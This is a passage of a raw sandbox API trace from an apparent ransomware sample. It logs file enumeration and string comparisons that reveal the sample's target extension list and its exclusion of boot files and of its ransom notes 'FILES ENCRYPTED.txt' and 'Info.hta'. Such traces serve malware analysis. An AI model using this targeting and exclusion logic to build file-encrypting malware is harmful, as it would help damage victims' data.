(lpString1=".3gp", lpString2="html") returned -1 [0181.962] lstrlenW (lpString=".7z") returned 3 [0181.962] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.962] lstrlenW (lpString=".accda") returned 6 [0181.962] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.962] lstrlenW (lpString=".accdb") returned 6 [0181.962] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.962] lstrlenW (lpString=".accdc") returned 6 [0181.962] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.962] lstrlenW (lpString=".accde") returned 6 [0181.962] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.962] lstrlenW (lpString=".accdt") returned 6 [0181.962] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.962] lstrlenW (lpString=".accdw") returned 6 [0181.962] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.962] lstrlenW (lpString=".adb") returned 4 [0181.962] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.962] lstrlenW (lpString=".adp") returned 4 [0181.963] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".ai") returned 3 [0181.963] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.963] lstrlenW (lpString=".ai3") returned 4 [0181.963] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".ai4") returned 4 [0181.963] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".ai5") returned 4 [0181.963] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".ai6") returned 4 [0181.963] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".ai7") returned 4 [0181.963] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".ai8") returned 4 [0181.963] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".anim") returned 5 [0181.963] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.963] lstrlenW (lpString=".arw") returned 4 [0181.963] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".as") returned 3 [0181.963] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.963] lstrlenW (lpString=".asa") returned 4 [0181.963] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.963] lstrlenW (lpString=".asc") returned 4 [0181.963] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.964] lstrlenW (lpString=".ascx") returned 5 [0181.964] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.964] lstrlenW (lpString=".asm") returned 4 [0181.964] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.964] lstrlenW (lpString=".asmx") returned 5 [0181.964] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.964] lstrlenW (lpString=".asp") returned 4 [0181.964] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.964] lstrlenW (lpString=".aspx") returned 5 [0181.964] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.964] lstrlenW (lpString=".asr") returned 4 [0181.964] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.964] lstrlenW (lpString=".asx") returned 4 [0181.964] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.964] lstrlenW (lpString=".avi") returned 4 [0181.964] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.964] lstrlenW (lpString=".avs") returned 4 [0181.964] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.964] lstrlenW (lpString=".backup") returned 7 [0181.964] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.965] lstrlenW (lpString=".bak") returned 4 [0181.965] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.965] lstrlenW (lpString=".bay") returned 4 [0181.965] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.965] lstrlenW (lpString=".bd") returned 3 [0181.965] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.965] lstrlenW (lpString=".bin") returned 4 [0181.965] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.965] lstrlenW (lpString=".bmp") returned 4 [0181.965] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.966] lstrlenW (lpString=".bz2") returned 4 [0181.966] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.966] lstrlenW (lpString=".c") returned 2 [0181.966] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.966] lstrlenW (lpString=".cdr") returned 4 [0181.966] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.966] lstrlenW (lpString=".cer") returned 4 [0181.966] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.966] lstrlenW (lpString=".cf") returned 3 [0181.966] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.966] lstrlenW (lpString=".cfc") returned 4 [0181.966] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".cfm") returned 4 [0181.967] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".cfml") returned 5 [0181.967] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.967] lstrlenW (lpString=".cfu") returned 4 [0181.967] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".chm") returned 4 [0181.967] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".cin") returned 4 [0181.967] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".class") returned 6 [0181.967] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.967] lstrlenW (lpString=".clx") returned 4 [0181.967] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".config") returned 7 [0181.967] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.967] lstrlenW (lpString=".cpp") returned 4 [0181.967] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".cr2") returned 4 [0181.967] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".crt") returned 4 [0181.967] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".crw") returned 4 [0181.967] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.967] lstrlenW (lpString=".cs") returned 3 [0181.968] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.968] lstrlenW (lpString=".css") returned 4 [0181.968] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".csv") returned 4 [0181.968] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".cub") returned 4 [0181.968] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".dae") returned 4 [0181.968] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".dat") returned 4 [0181.968] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".db") returned 3 [0181.968] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.968] lstrlenW (lpString=".dbf") returned 4 [0181.968] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".dbx") returned 4 [0181.968] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".dc3") returned 4 [0181.968] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".dcm") returned 4 [0181.968] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".dcr") returned 4 [0181.968] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.968] lstrlenW (lpString=".der") returned 4 [0181.968] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.969] lstrlenW (lpString=".dib") returned 4 [0181.969] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.969] lstrlenW (lpString=".dic") returned 4 [0181.969] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.969] lstrlenW (lpString=".dif") returned 4 [0181.969] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.969] lstrlenW (lpString=".divx") returned 5 [0181.969] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.969] lstrlenW (lpString=".djvu") returned 5 [0181.969] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.969] lstrlenW (lpString=".dng") returned 4 [0181.969] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.969] lstrlenW (lpString=".doc") returned 4 [0181.969] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.969] lstrlenW (lpString=".docm") returned 5 [0181.969] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.969] lstrlenW (lpString=".docx") returned 5 [0181.969] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.969] lstrlenW (lpString=".dot") returned 4 [0181.969] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.969] lstrlenW (lpString=".dotm") returned 5 [0181.969] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.969] lstrlenW (lpString=".dotx") returned 5 [0181.969] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.969] lstrlenW (lpString=".dpx") returned 4 [0181.970] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.970] lstrlenW (lpString=".dqy") returned 4 [0181.970] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.970] lstrlenW (lpString=".dsn") returned 4 [0181.970] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.970] lstrlenW (lpString=".dt") returned 3 [0181.970] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.970] lstrlenW (lpString=".dtd") returned 4 [0181.970] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.970] lstrlenW (lpString=".dwg") returned 4 [0181.970] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0181.970] lstrlenW (lpString=".dwt") returned 4 [0181.970] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0181.970] lstrlenW (lpString=".dx") returned 3 [0181.970] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0181.970] lstrlenW (lpString=".dxf") returned 4 [0181.970] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0181.970] lstrlenW (lpString=".edml") returned 5 [0181.970] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0181.970] lstrlenW (lpString=".efd") returned 4 [0181.971] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".elf") returned 4 [0181.971] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".emf") returned 4 [0181.971] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".emz") returned 4 [0181.971] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".epf") returned 4 [0181.971] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".eps") returned 4 [0181.971] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".epsf") returned 5 [0181.971] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0181.971] lstrlenW (lpString=".epsp") returned 5 [0181.971] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0181.971] lstrlenW (lpString=".erf") returned 4 [0181.971] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".exr") returned 4 [0181.971] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".f4v") returned 4 [0181.971] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".fido") returned 5 [0181.971] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0181.971] lstrlenW (lpString=".flm") returned 4 [0181.971] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0181.971] lstrlenW (lpString=".flv") returned 4 [0181.971] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0181.972] lstrlenW (lpString=".frm") returned 4 [0181.972] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0181.972] lstrlenW (lpString=".fxg") returned 4 [0181.972] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0181.972] lstrlenW (lpString=".geo") returned 4 [0181.972] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0181.972] lstrlenW (lpString=".gif") returned 4 [0181.972] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0181.972] lstrlenW (lpString=".grs") returned 4 [0181.972] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0181.972] lstrlenW (lpString=".gz") returned 3 [0181.972] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0181.972] lstrlenW (lpString=".h") returned 2 [0181.972] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.972] lstrlenW (lpString=".hdr") returned 4 [0181.972] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0181.972] lstrlenW (lpString=".hpp") returned 4 [0181.972] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0181.972] lstrlenW (lpString=".hta") returned 4 [0181.973] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0181.973] lstrlenW (lpString=".htc") returned 4 [0181.973] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0181.973] lstrlenW (lpString=".htm") returned 4 [0181.973] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0181.973] lstrlenW (lpString=".html") returned 5 [0181.973] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0181.973] lstrlenW (lpString="index.html") returned 10 [0181.973] lstrlenW (lpString=".NEWS") returned 5 [0181.973] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0181.973] lstrlenW (lpString="index.html") returned 10 [0181.973] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0181.973] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0181.973] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0181.973] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0181.973] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0181.973] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0181.973] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0181.973] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0181.973] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html") returned 120 [0181.973] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.974] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0181.974] lstrlenW (lpString=".1cd") returned 4 [0181.974] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.974] lstrlenW (lpString=".3ds") returned 4 [0181.974] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.974] lstrlenW (lpString=".3fr") returned 4 [0181.974] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.974] lstrlenW (lpString=".3g2") returned 4 [0181.974] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.974] lstrlenW (lpString=".3gp") returned 4 [0181.974] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.974] lstrlenW (lpString=".7z") returned 3 [0181.974] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.974] lstrlenW (lpString=".accda") returned 6 [0181.974] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0181.974] lstrlenW (lpString=".accdb") returned 6 [0181.974] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0181.974] lstrlenW (lpString=".accdc") returned 6 [0181.974] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0181.974] lstrlenW (lpString=".accde") returned 6 [0181.975] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0181.975] lstrlenW (lpString=".accdt") returned 6 [0181.975] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0181.975] lstrlenW (lpString=".accdw") returned 6 [0181.975] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0181.975] lstrlenW (lpString=".adb") returned 4 [0181.975] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.975] lstrlenW (lpString=".adp") returned 4 [0181.975] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.975] lstrlenW (lpString=".ai") returned 3 [0181.975] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.975] lstrlenW (lpString=".ai3") returned 4 [0181.975] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.975] lstrlenW (lpString=".ai4") returned 4 [0181.976] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.976] lstrlenW (lpString=".ai5") returned 4 [0181.976] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.976] lstrlenW (lpString=".ai6") returned 4 [0181.976] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.976] lstrlenW (lpString=".ai7") returned 4 [0181.976] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.976] lstrlenW (lpString=".ai8") returned 4 [0181.976] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.976] lstrlenW (lpString=".anim") returned 5 [0181.977] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.185] lstrlenW (lpString=".arw") returned 4 [0182.185] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.185] lstrlenW (lpString=".as") returned 3 [0182.186] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.186] lstrlenW (lpString=".asa") returned 4 [0182.186] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.186] lstrlenW (lpString=".asc") returned 4 [0182.186] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.186] lstrlenW (lpString=".ascx") returned 5 [0182.186] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.186] lstrlenW (lpString=".asm") returned 4 [0182.186] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.186] lstrlenW (lpString=".asmx") returned 5 [0182.186] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.186] lstrlenW (lpString=".asp") returned 4 [0182.186] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.186] lstrlenW (lpString=".aspx") returned 5 [0182.186] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.186] lstrlenW (lpString=".asr") returned 4 [0182.186] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.186] lstrlenW (lpString=".asx") returned 4 [0182.186] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.186] lstrlenW (lpString=".avi") returned 4 [0182.186] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.186] lstrlenW (lpString=".avs") returned 4 [0182.186] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.186] lstrlenW (lpString=".backup") returned 7 [0182.187] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.187] lstrlenW (lpString=".bak") returned 4 [0182.187] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".bay") returned 4 [0182.187] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".bd") returned 3 [0182.187] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.187] lstrlenW (lpString=".bin") returned 4 [0182.187] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".bmp") returned 4 [0182.187] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".bz2") returned 4 [0182.187] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".c") returned 2 [0182.187] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.187] lstrlenW (lpString=".cdr") returned 4 [0182.187] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".cer") returned 4 [0182.187] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".cf") returned 3 [0182.187] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.187] lstrlenW (lpString=".cfc") returned 4 [0182.187] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".cfm") returned 4 [0182.187] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.187] lstrlenW (lpString=".cfml") returned 5 [0182.187] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.188] lstrlenW (lpString=".cfu") returned 4 [0182.188] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".chm") returned 4 [0182.188] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".cin") returned 4 [0182.188] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".class") returned 6 [0182.188] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.188] lstrlenW (lpString=".clx") returned 4 [0182.188] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".config") returned 7 [0182.188] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.188] lstrlenW (lpString=".cpp") returned 4 [0182.188] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".cr2") returned 4 [0182.188] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".crt") returned 4 [0182.188] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".crw") returned 4 [0182.188] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.188] lstrlenW (lpString=".cs") returned 3 [0182.189] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.189] lstrlenW (lpString=".css") returned 4 [0182.189] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".csv") returned 4 [0182.189] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".cub") returned 4 [0182.189] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".dae") returned 4 [0182.189] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".dat") returned 4 [0182.189] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".db") returned 3 [0182.189] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.189] lstrlenW (lpString=".dbf") returned 4 [0182.189] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.189] lstrlenW (lpString=".dbx") returned 4 [0182.190] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".dc3") returned 4 [0182.190] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".dcm") returned 4 [0182.190] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".dcr") returned 4 [0182.190] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".der") returned 4 [0182.190] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".dib") returned 4 [0182.190] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".dic") returned 4 [0182.190] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".dif") returned 4 [0182.190] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".divx") returned 5 [0182.190] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.190] lstrlenW (lpString=".djvu") returned 5 [0182.190] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.190] lstrlenW (lpString=".dng") returned 4 [0182.190] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".doc") returned 4 [0182.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.190] lstrlenW (lpString=".docm") returned 5 [0182.190] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.190] lstrlenW (lpString=".docx") returned 5 [0182.191] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.191] lstrlenW (lpString=".dot") returned 4 [0182.191] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.191] lstrlenW (lpString=".dotm") returned 5 [0182.191] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.191] lstrlenW (lpString=".dotx") returned 5 [0182.191] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.192] lstrlenW (lpString=".dpx") returned 4 [0182.192] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".dqy") returned 4 [0182.192] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".dsn") returned 4 [0182.192] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".dt") returned 3 [0182.192] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.192] lstrlenW (lpString=".dtd") returned 4 [0182.192] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".dwg") returned 4 [0182.192] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".dwt") returned 4 [0182.192] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".dx") returned 3 [0182.192] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.192] lstrlenW (lpString=".dxf") returned 4 [0182.192] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".edml") returned 5 [0182.192] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.192] lstrlenW (lpString=".efd") returned 4 [0182.192] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".elf") returned 4 [0182.192] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".emf") returned 4 [0182.192] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.192] lstrlenW (lpString=".emz") returned 4 [0182.193] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".epf") returned 4 [0182.193] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".eps") returned 4 [0182.193] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".epsf") returned 5 [0182.193] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.193] lstrlenW (lpString=".epsp") returned 5 [0182.193] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.193] lstrlenW (lpString=".erf") returned 4 [0182.193] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.193] lstrlenW (lpString=".exr") returned 4 [0182.193] lstrcmpiW 